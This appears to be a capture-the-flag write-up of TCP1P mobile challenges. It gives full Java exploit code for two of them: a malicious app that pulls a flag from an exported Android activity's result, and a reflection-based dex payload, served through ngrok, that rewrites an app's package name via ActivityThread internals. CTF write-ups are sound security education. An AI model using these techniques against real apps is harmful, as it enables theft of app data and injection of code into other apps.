# Mobile Writeups for TCP1P Capture The Flag ## Introduction ![](https://hackmd.io/_uploads/r1THXp0Z6.png) ![](https://hackmd.io/_uploads/ryxFQC0bp.png) I participated in the TCP1P CTF with the [MAGER](https://ctftime.org/team/158703) team under the nickname "azka." I successfully completed all of the Mobile Challenges in TCP1P and achieved first blood in several challenges. ![](https://hackmd.io/_uploads/BJC97a0Wp.png) Furthermore, I won the opportunity to write a writeup for the [Internals challenges](https://hackmd.io/@lawbyte/S1-gj2cZa) in Bahasa. ![](https://hackmd.io/_uploads/BkJq4pCbp.png) ## Android Virtual Device from TCP1P They created an infrastructure for an Android Virtual Device that will be deployed on a website, allowing participants to simply connect and access it for testing our exploits and obtaining the flag, they upload the project of this AVD on their [github repository](https://github.com/TCP1P/ctf-mobile-exploitation-setup). ![](https://hackmd.io/_uploads/SJn926AW6.png) ## Rules of the challenges ![](https://hackmd.io/_uploads/SkXIU6C-6.png) ## Intention: 356 pts ![](https://hackmd.io/_uploads/B1hcbARba.png) Challenge apk: [challenge.apk](https://github.com/TCP1P/TCP1P-CTF-2023-Challenges/raw/main/Mobile/Intention/src/challenge.apk) ### Static Analysis Like with pentesting on Android, I typically begin by opening my `JADX` tools to examine the contents of the APK. The first step is to review the `AndroidManifest.xml` file to assess the app's permissions, activities and what intents did this app use. ![](https://hackmd.io/_uploads/Hyr2waCbT.png) On this manifest file, my focuss is on this two activity that having value `android:exported="true"`, we know if the application having this configuration on their app we can call this activity on another application that installed on the same device, and there is a class on `com.kuro.intention.FlagSender` that take my focuss on. ### com.kuro.intention.FlagSender ![](https://hackmd.io/_uploads/Hkl2OT0bT.png) Within the onCreate method, the app attempts to open a file `flag.txt` using `openFileInput` and reads its contents into a byte array with buffer. Once the flag is successfully read, it is converted into a string. Then sets the result code to `-1` and attaches the flag as an extra to the intent using `putExtra`. The [setResult](https://developer.android.com/reference/android/app/Activity#setResult(int,%20android.content.Intent)) method is used to package and send this data. In Android, the `setResult` method is used to set a result code and optional data (usually in the form of an `Intent`) to be returned to the calling activity when the current activity finishes. It's commonly employed when one activity launches another and expects a result from it. The calling activity can then handle this result using the `onActivityResult` method, gaining access to the result code and any returned data, which allows the calling activity to take actions based on the outcome of the launched activity. ### Creating a malicious app The attack scenario is quite straightforward. We can create another application that start the FlagSender activity intent and retrieves the flag from the extra that returned in the setResult call. :::spoiler ```java package com.example.exploitintentionss; import androidx.annotation.Nullable; import androidx.appcompat.app.AppCompatActivity; import android.content.ComponentName; import android.content.Intent; import android.os.Bundle; import android.util.Log; import android.widget.TextView; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Intent intent = new Intent(); intent.setComponent(new ComponentName("com.kuro.intention", "com.kuro.intention.FlagSender")); startActivityForResult(intent, 1337); } @Override protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { super.onActivityResult(requestCode, resultCode, data); Log.d("MyApp", "onActivityResult called with requestCode: " + requestCode + ", resultCode: " + resultCode); if (requestCode == 1337) { if (resultCode == -1 && data != null) { String flag = data.getStringExtra("flag"); TextView flagTextView = findViewById(R.id.textView); flagTextView.setText("Flag: " + flag); } else { TextView flagTextView = findViewById(R.id.textView); flagTextView.setText("Something went wrong: "+ resultCode + data); } } } } ``` ::: On the code that i provided to exploit the app was quite simple, we simply start the intent of FlagSender and receive the intent then get the flag from the extra intent and put it on my textView. Because of the FlagSender activity does not call finish(), you need to manually press the back button because of we need to return to our (attacker) activity. <iframe width="620" height="420" src="https://www.youtube.com/embed/T5E9SY49540" title="TCP1P CTF - Intentions Exploit" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe> ## Imagery: 436 pts ![](https://hackmd.io/_uploads/HJWYb0CZ6.png) Challenge apk: [challenge.apk](https://github.com/TCP1P/TCP1P-CTF-2023-Challenges/raw/main/Mobile/Imagery/src/challenge.apk) ### Static Analysis ![](https://hackmd.io/_uploads/ry4gth1Gp.png) ![](https://hackmd.io/_uploads/Sy7_thJM6.png) ![](https://hackmd.io/_uploads/rk-PC3kfa.png) ![](https://hackmd.io/_uploads/HJOBZT1fp.png) ![](https://hackmd.io/_uploads/SyZoZp1f6.png) ## Netsight: ![](https://hackmd.io/_uploads/ryOXL61za.png) ![](https://hackmd.io/_uploads/S1gB0mRyfp.png) ![](https://hackmd.io/_uploads/Sy1B-kef6.png) ![](https://hackmd.io/_uploads/HyZLyExM6.png) ![](https://hackmd.io/_uploads/B1loIY-za.png) ![](https://hackmd.io/_uploads/Hy-ZKKZzp.png) ![](https://hackmd.io/_uploads/H1gKKF-zT.png) ![](https://hackmd.io/_uploads/BJGoKKbMp.png) ![](https://hackmd.io/_uploads/Bkl5qF-z6.png) ![](https://hackmd.io/_uploads/BJN6cFZzp.png) ![](https://hackmd.io/_uploads/HkmZ3tZGT.png) ![](https://hackmd.io/_uploads/HkrF2YZza.png) ![](https://hackmd.io/_uploads/HyKx6KZf6.png) ![](https://hackmd.io/_uploads/ry0H6YWfa.png) ![](https://hackmd.io/_uploads/S1k2pK-Mp.png) ![](https://hackmd.io/_uploads/BkUYAYbMp.png) ![](https://hackmd.io/_uploads/rJxYycWMa.png) ![](https://hackmd.io/_uploads/rkjgeqZM6.png) ## Internals: 499 pts ![](https://hackmd.io/_uploads/Hkmtjjkfa.png) Challenge apk: [challenge.apk](https://github.com/TCP1P/TCP1P-CTF-2023-Challenges/raw/main/Mobile/Internals/src/challenge.apk) Given a challenge named `Internals` with the following description: :::spoiler Let's see how well your knowledge about android internals. Using any type of external library will deduct your points by half. Hint : 1. You do know android is open source right? Then it's time to read the source code! Especially on getPackageName. 2. Do some OSINT on the author's repositories, maybe you'll find an interesting project. ::: From the description given, it seems that we are challenged by the problem setter regarding our knowledge of android internals, and the problem setter also prohibits us from using external libraries to carry out the exploit, even if we use external libraries we will get a point reduction. Now try to install and open this challenge application first and see how it looks. ![](https://hackmd.io/_uploads/B1CAva5b6.png) It can be seen that this application requests a url that will download `payload.dex` and will load the dex. Okay after reading the description and content of the application from the question we need to look first at the source code of this `internals` application, and found one activity namely `MainActivity` only: ![](https://hackmd.io/_uploads/HJ-dQTcZ6.png) Below is the source code of the MainActivity : :::spoiler ```java package com.kuro.internals; import android.app.ProgressDialog; import android.content.DialogInterface; import android.os.Bundle; import android.os.Handler; import android.os.Looper; import android.view.View; import android.widget.Button; import android.widget.EditText; import androidx.appcompat.app.AlertDialog; import androidx.appcompat.app.AppCompatActivity; import dalvik.system.DexClassLoader; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import okhttp3.Call; import okhttp3.Callback; import okhttp3.OkHttpClient; import okhttp3.Request; import okhttp3.Response; /* loaded from: classes3.dex */ public class MainActivity extends AppCompatActivity { Button btn_load; EditText input_url; /* JADX INFO: Access modifiers changed from: protected */ @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); this.input_url = (EditText) findViewById(R.id.input_url); Button button = (Button) findViewById(R.id.btn_load); this.btn_load = button; button.setOnClickListener(new View.OnClickListener() { // from class: com.kuro.internals.MainActivity.1 @Override // android.view.View.OnClickListener public void onClick(View v) { String url = MainActivity.this.input_url.getText().toString(); if (url.isEmpty()) { AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this); builder.setTitle("Error"); builder.setMessage("URL cannot be empty!"); builder.setCancelable(false); builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null); builder.show(); return; } MainActivity.this.downloadDex(url); } }); } void downloadDex(String url) { ProgressDialog pDialog = new ProgressDialog(this); pDialog.setTitle("Downloading..."); pDialog.setMessage("Please wait..."); pDialog.setCancelable(false); pDialog.setProgressStyle(0); pDialog.show(); ExecutorService executor = Executors.newSingleThreadExecutor(); Handler handler = new Handler(Looper.getMainLooper()); executor.execute(new AnonymousClass2(url, handler, pDialog)); } /* JADX INFO: Access modifiers changed from: package-private */ /* renamed from: com.kuro.internals.MainActivity$2 reason: invalid class name */ /* loaded from: classes3.dex */ public class AnonymousClass2 implements Runnable { final /* synthetic */ Handler val$handler; final /* synthetic */ ProgressDialog val$pDialog; final /* synthetic */ String val$url; AnonymousClass2(String str, Handler handler, ProgressDialog progressDialog) { this.val$url = str; this.val$handler = handler; this.val$pDialog = progressDialog; } @Override // java.lang.Runnable public void run() { OkHttpClient client = new OkHttpClient(); Request request = new Request.Builder().url(this.val$url).build(); try { client.newCall(request).enqueue(new Callback() { // from class: com.kuro.internals.MainActivity.2.1 @Override // okhttp3.Callback public void onFailure(Call call, IOException e) { AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this); builder.setTitle("Error"); builder.setMessage(e.getMessage()); builder.setCancelable(false); builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null); builder.show(); } @Override // okhttp3.Callback public void onResponse(Call call, Response response) throws IOException { if (!response.isSuccessful()) { AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this); builder.setTitle("Error"); builder.setMessage(response.message()); builder.setCancelable(false); builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null); builder.show(); return; } InputStream inputStream = response.body().byteStream(); OutputStream outputStream = MainActivity.this.openFileOutput("payload.dex", 0); try { byte[] buffer = new byte[1024]; while (true) { int len = inputStream.read(buffer); if (len != -1) { outputStream.write(buffer, 0, len); } else { outputStream.close(); inputStream.close(); AnonymousClass2.this.val$handler.post(new Runnable() { // from class: com.kuro.internals.MainActivity.2.1.1 @Override // java.lang.Runnable public void run() { AnonymousClass2.this.val$pDialog.dismiss(); MainActivity.this.loadDex(); } }); return; } } } catch (Exception e) { e.printStackTrace(); } } }); } catch (Exception e) { e.printStackTrace(); } } } void loadDex() { File dexPath = getFileStreamPath("payload.dex"); if (!dexPath.exists()) { AlertDialog.Builder builder = new AlertDialog.Builder(this); builder.setTitle("Error"); builder.setMessage("payload.dex not found"); builder.setCancelable(false); builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null); builder.show(); return; } try { DexClassLoader dexClassLoader = new DexClassLoader(dexPath.getAbsolutePath(), getFilesDir().getAbsolutePath(), null, getClassLoader()); Class<?> clazz = dexClassLoader.loadClass("com.kuro.payload.Main"); clazz.getMethod("execute", new Class[0]).invoke(null, null); if (getPackageName().equals("l33t_h4x0r")) { AlertDialog.Builder builder2 = new AlertDialog.Builder(this); builder2.setTitle("Gr4tz"); builder2.setMessage("Flag: flag{fake_flag_dont_submit}"); builder2.setCancelable(false); builder2.setPositiveButton("OK", (DialogInterface.OnClickListener) null); builder2.show(); } } catch (Exception e) { e.printStackTrace(); } } } ``` ::: It can be seen that the application uses the `activity_main` layout which can be found in jadx in the `Resources/res/layout/activity_main.xml` folder, this application also has 1 button and 1 EditText. ![](https://hackmd.io/_uploads/rJneta5-6.png) So simply when the user has entered the url into the box and pressed the button, the application will retrieve the url and throw it to the `downloadDex` function, if the user does not enter the url into the box it will display a popup `URL cannot be empty!`. ![](https://hackmd.io/_uploads/BJnsta5b6.png) In the `downloadDex` function, we can see that the application will pop up the `Downloading...` dialog and will throw it to the `AnonymousClass2` function. ![](https://hackmd.io/_uploads/Syz0tacZ6.png) Here is the source code of the AnonymousClass2 function :::spoiler ```java public class AnonymousClass2 implements Runnable { final /* synthetic */ Handler val$handler; final /* synthetic */ ProgressDialog val$pDialog; final /* synthetic */ String val$url; AnonymousClass2(String str, Handler handler, ProgressDialog progressDialog) { this.val$url = str; this.val$handler = handler; this.val$pDialog = progressDialog; } @Override // java.lang.Runnable public void run() { OkHttpClient client = new OkHttpClient(); Request request = new Request.Builder().url(this.val$url).build(); try { client.newCall(request).enqueue(new Callback() { // from class: com.kuro.internals.MainActivity.2.1 @Override // okhttp3.Callback public void onFailure(Call call, IOException e) { AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this); builder.setTitle("Error"); builder.setMessage(e.getMessage()); builder.setCancelable(false); builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null); builder.show(); } @Override // okhttp3.Callback public void onResponse(Call call, Response response) throws IOException { if (!response.isSuccessful()) { AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this); builder.setTitle("Error"); builder.setMessage(response.message()); builder.setCancelable(false); builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null); builder.show(); return; } InputStream inputStream = response.body().byteStream(); OutputStream outputStream = MainActivity.this.openFileOutput("payload.dex", 0); try { byte[] buffer = new byte[1024]; while (true) { int len = inputStream.read(buffer); if (len != -1) { outputStream.write(buffer, 0, len); } else { outputStream.close(); inputStream.close(); AnonymousClass2.this.val$handler.post(new Runnable() { // from class: com.kuro.internals.MainActivity.2.1.1 @Override // java.lang.Runnable public void run() { AnonymousClass2.this.val$pDialog.dismiss(); MainActivity.this.loadDex(); } }); return; } } } catch (Exception e) { e.printStackTrace(); } } }); } catch (Exception e) { e.printStackTrace(); } } } ``` ::: ![](https://hackmd.io/_uploads/rkL0cT9WT.png) After reading the source code of the `AnonymousClass2` function, we can see that it tries to download the dex file from the url we provide and save it with the file name `payload.dex` which will then be redirected to the `loadDex()` function. And this is where the interesting part comes in and how we will create the malicious dex. ![](https://hackmd.io/_uploads/B12WV6q-6.png) Which in this function first checks whether there is a `payload.dex` file in our application files folder, it is necessary to note that every file loaded by Android Studio is in the `/data/data/[apk package name]/files` folder, so in this code the challenge application will first check whether the `payload.dex` file is there or not in our files folder. Furthermore, when the `payload.dex` file is in the files folder, `payload.dex` will be loaded with [DexClassLoader](https://developer.android.com/reference/dalvik/system/DexClassLoader) which will be checked using [Reflection](https://www.haptik.ai/tech/using-reflection-in-android/) to load the class in the dex file, which in this code the challenge application tries to load the class from the `com.kuro.payload` with the class name `Main` and also take the method of `execute` to run in the challenge application, after successfully loadClass from `payload.dex` then will check the package name of the challenge application which is currently is `com.kuro.internals` has changed to a new package name or not, namely `l33t_h4x0r`, when this condition is met the application will display the flag. After successfully understanding how the flow of this application runs, the author already has an idea of how to make the malicious dex so that when the dex that the author makes later can change the packageName of the challenge application from `com.kuro.internals` to `l33t_h4x0r`. From the hint given by the question maker, the question maker asks us to do osint in his digithub account. ![](https://hackmd.io/_uploads/H16yhacZa.png) Finally the author found his github account and found an interesting repository in it, namely [APKKiller](https://github.com/aimardcr/APKKiller), in this repository the creator of the problem tells that by using `Reflection` we can read and modify the internal classes and fields. ![](https://hackmd.io/_uploads/H1iS26cZp.png) After reading and doing trial and error about `Reflection` the author found a way that we can use the class from [ActivityThread](https://android.googlesource.com/platform/frameworks/base.git/+/master/core/java/android/app/ActivityThread.java) to change the packageName to the packageName we want. Try to create a new project in `Android Studio` with the following setup: 1. Select `Empty Views Activity` and then Next. ![](https://hackmd.io/_uploads/HJPOAaq-a.png) 2. Make the name whatever you want, as long as the package name is `com.kuro.payload` because in the challenge application this package will be loaded, then choose `Java` as the programming language, because `Reflection` we can use in java. ![](https://hackmd.io/_uploads/SJ5NyR9Wp.png) 3. After that click `Finish` and wait for android studio to prepare the setup. 4. After everything is done, we create a new class with the name `Main` because the challenge application will load the class from our package with the name `Main` by right-clicking on the `com.kuro.payload` package then click `New -> Java Class`. ![](https://hackmd.io/_uploads/BJlf6kRqb6.png) 5. Enter the name `Main` and enter. ![](https://hackmd.io/_uploads/H1Z-xA5bT.png) 6. We will use `MainActivity` activity first for debugging. So the first step is to first find the field of packageName and then we set it to the new value ```java package com.kuro.payload; import androidx.appcompat.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import java.lang.reflect.Field; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); try { Class<?> clazz = Class.forName("android.app.ActivityThread"); Field[] fs = clazz.getDeclaredFields(); for(int i = 0; i < fs.length; i++) { Log.e("Field" + String.valueOf(i), fs[i].getName()); } } catch (Exception e) { e.printStackTrace(); } } } ``` Try using the code above and run it, then try to see the logcat because I put `Log.e` there for debugging and see the contents of the field from `ActivityThread`. ![](https://hackmd.io/_uploads/B1PSbRqba.png) And get the field contents of the `ActivityThread` class. ![](https://hackmd.io/_uploads/SJlKbR9bp.png) As hinted by the question creator, getPackageName is found in mPackageInfo. ![](https://hackmd.io/_uploads/HkTkDRcbp.png) After spending a lot of time here, I finally found that in the `mBoundApplication` fields there is an `info` field. ![](https://hackmd.io/_uploads/ryJQPC9ZT.png) ```java package com.kuro.payload; import androidx.appcompat.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import java.lang.reflect.Field; import java.lang.reflect.Method; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); try { Class<?> clazz = Class.forName("android.app.ActivityThread"); Method currentActivityThread = clazz.getDeclaredMethod("currentActivityThread"); currentActivityThread.setAccessible(true); Object activityThread = currentActivityThread.invoke(null); Field[] fields = clazz.getDeclaredFields(); for(int i = 0; i < fields.length; i++) { Log.e("Field" + String.valueOf(i), fields[i].getName()); } Field mBoundApplicationField = clazz.getDeclaredField("mBoundApplication"); mBoundApplicationField.setAccessible(true); Object mBoundApplication = mBoundApplicationField.get(activityThread); Field[] mBoandFields = mBoundApplication.getClass().getDeclaredFields(); for(int i = 0; i < fields.length; i++) { Log.e("mBoandFields" + String.valueOf(i), mBoandFields[i].getName()); } } catch (Exception e) { e.printStackTrace(); } } } ``` And finally we found the field of `mPackageName` ![](https://hackmd.io/_uploads/r1YNF0qWa.png) ```java package com.kuro.payload; import androidx.appcompat.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import java.lang.reflect.Field; import java.lang.reflect.Method; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); try { Class<?> clazz = Class.forName("android.app.ActivityThread"); Method currentActivityThread = clazz.getDeclaredMethod("currentActivityThread"); currentActivityThread.setAccessible(true); Object activityThread = currentActivityThread.invoke(null); Field[] fields = clazz.getDeclaredFields(); for(int i = 0; i < fields.length; i++) { Log.e("Field" + String.valueOf(i), fields[i].getName()); } Field mBoundApplicationField = clazz.getDeclaredField("mBoundApplication"); mBoundApplicationField.setAccessible(true); Object mBoundApplication = mBoundApplicationField.get(activityThread); // Field[] mBoundFields = mBoundApplication.getClass().getDeclaredFields(); // for(int i = 0; i < fields.length; i++) { // Log.e("mBoundFields" + String.valueOf(i), mBoundFields[i].getName()); // } Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info"); loadedApkInfoField.setAccessible(true); Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication); Field[] apkInfoFields = loadedApkInfo.getClass().getDeclaredFields(); for(int i = 0; i < fields.length; i++) { Log.e("apkInfoFields" + String.valueOf(i), apkInfoFields[i].getName()); } } catch (Exception e) { e.printStackTrace(); } } } ``` After getting the correct field, now just change the value of mPackageName to `l33t_h4x0r` with the following code: ```java package com.kuro.payload; import androidx.appcompat.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import java.lang.reflect.Field; import java.lang.reflect.Method; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); try { // Get the current ActivityThread instance Class<?> activityThreadClass = Class.forName("android.app.ActivityThread"); Method currentActivityThread = activityThreadClass.getDeclaredMethod("currentActivityThread"); currentActivityThread.setAccessible(true); Object activityThread = currentActivityThread.invoke(null); // Get the loaded package info Field mBoundApplicationField = activityThreadClass.getDeclaredField("mBoundApplication"); mBoundApplicationField.setAccessible(true); Object mBoundApplication = mBoundApplicationField.get(activityThread); Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info"); loadedApkInfoField.setAccessible(true); Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication); // Set the new package name Field packageNameField = loadedApkInfo.getClass().getDeclaredField("mPackageName"); packageNameField.setAccessible(true); packageNameField.set(loadedApkInfo, "l33t_h4x0r"); Log.e("PackageName", getPackageName()); } catch (Exception e) { e.printStackTrace(); } } } ``` After running and viewing in logcat the package name has been successfully changed to `l33t_h4x0r`. ![](https://hackmd.io/_uploads/rJHpY0qZp.png) After that, just copy the code and input it into the `Main` class and in the `execute` function. ```java package com.kuro.payload; import android.content.pm.ApplicationInfo; import android.util.Log; import java.lang.reflect.Field; import java.lang.reflect.Method; public class Main { public static void execute() { try { // Get the current ActivityThread instance Class<?> activityThreadClass = Class.forName("android.app.ActivityThread"); Method currentActivityThread = activityThreadClass.getDeclaredMethod("currentActivityThread"); currentActivityThread.setAccessible(true); Object activityThread = currentActivityThread.invoke(null); // Get the loaded package info Field mBoundApplicationField = activityThreadClass.getDeclaredField("mBoundApplication"); mBoundApplicationField.setAccessible(true); Object mBoundApplication = mBoundApplicationField.get(activityThread); Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info"); loadedApkInfoField.setAccessible(true); Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication); // Set the new package name Field packageNameField = loadedApkInfo.getClass().getDeclaredField("mPackageName"); packageNameField.setAccessible(true); packageNameField.set(loadedApkInfo, "l33t_h4x0r"); } catch (Exception e) { e.printStackTrace(); } } } ``` After that, set the gradle so that when building the classes.dex it is only one and not multiple by adding the following config: ![](https://hackmd.io/_uploads/SkBPcA5W6.png) After that we build this project. ![](https://hackmd.io/_uploads/H1mFcA5-a.png) A popup will appear in the bottom right corner like the following. ![](https://hackmd.io/_uploads/HJBiqCcba.png) Click `locate` and will be directed to the apk folder that has been built: ![](https://hackmd.io/_uploads/H1UA909-T.png) Enter the debug folder. ![](https://hackmd.io/_uploads/H1F1iR9W6.png) And this `app-debug.apk` is the result of our compile earlier, after that we open this apk in `jadx` to take the classes.dex and use it in the challenge application. The compiled apk folder is in `<Project Folder Name>\app\build\outputs\apk\debug`. After opening with jadx, we save all the decompiled results and put them in a folder, I myself put it in the `kelasss` folder. ![](https://hackmd.io/_uploads/BJIcoAqWT.png) After that we copy the `classes.dex` contained in the `kelasss/resources/classes.dex` folder to another folder so that we can transfer it to the challenge application. ![](https://hackmd.io/_uploads/ByiAoAcWT.png) I put it in the internals folder only and I rename it to `payload.dex` and run http.server and ngrok, after that just enter the url into the box and our exploit is successful to get the flag. ![](https://hackmd.io/_uploads/HkEfp0qbp.png) Just run on Virtual Android Device and get the flag: ![](https://hackmd.io/_uploads/SydWl1jba.png) Reference: - https://android.googlesource.com/platform/frameworks/base.git/+/master/core/java/android/app/ActivityThread.java - https://www.digitalocean.com/community/tutorials/java-reflection-example-tutorial - https://www.haptik.ai/tech/using-reflection-in-android/ - https://stackoverflow.com/questions/1754714/android-and-reflection - https://stackoverflow.com/questions/1438420/how-to-get-a-class-object-from-the-class-name-in-java - https://www.geeksforgeeks.org/reflection-in-java/ - https://stackoverflow.com/questions/61757838/is-it-possible-to-get-class-object-of-an-app-from-injected-dex-by-using-java-ref - https://github.com/aimardcr/APKKiller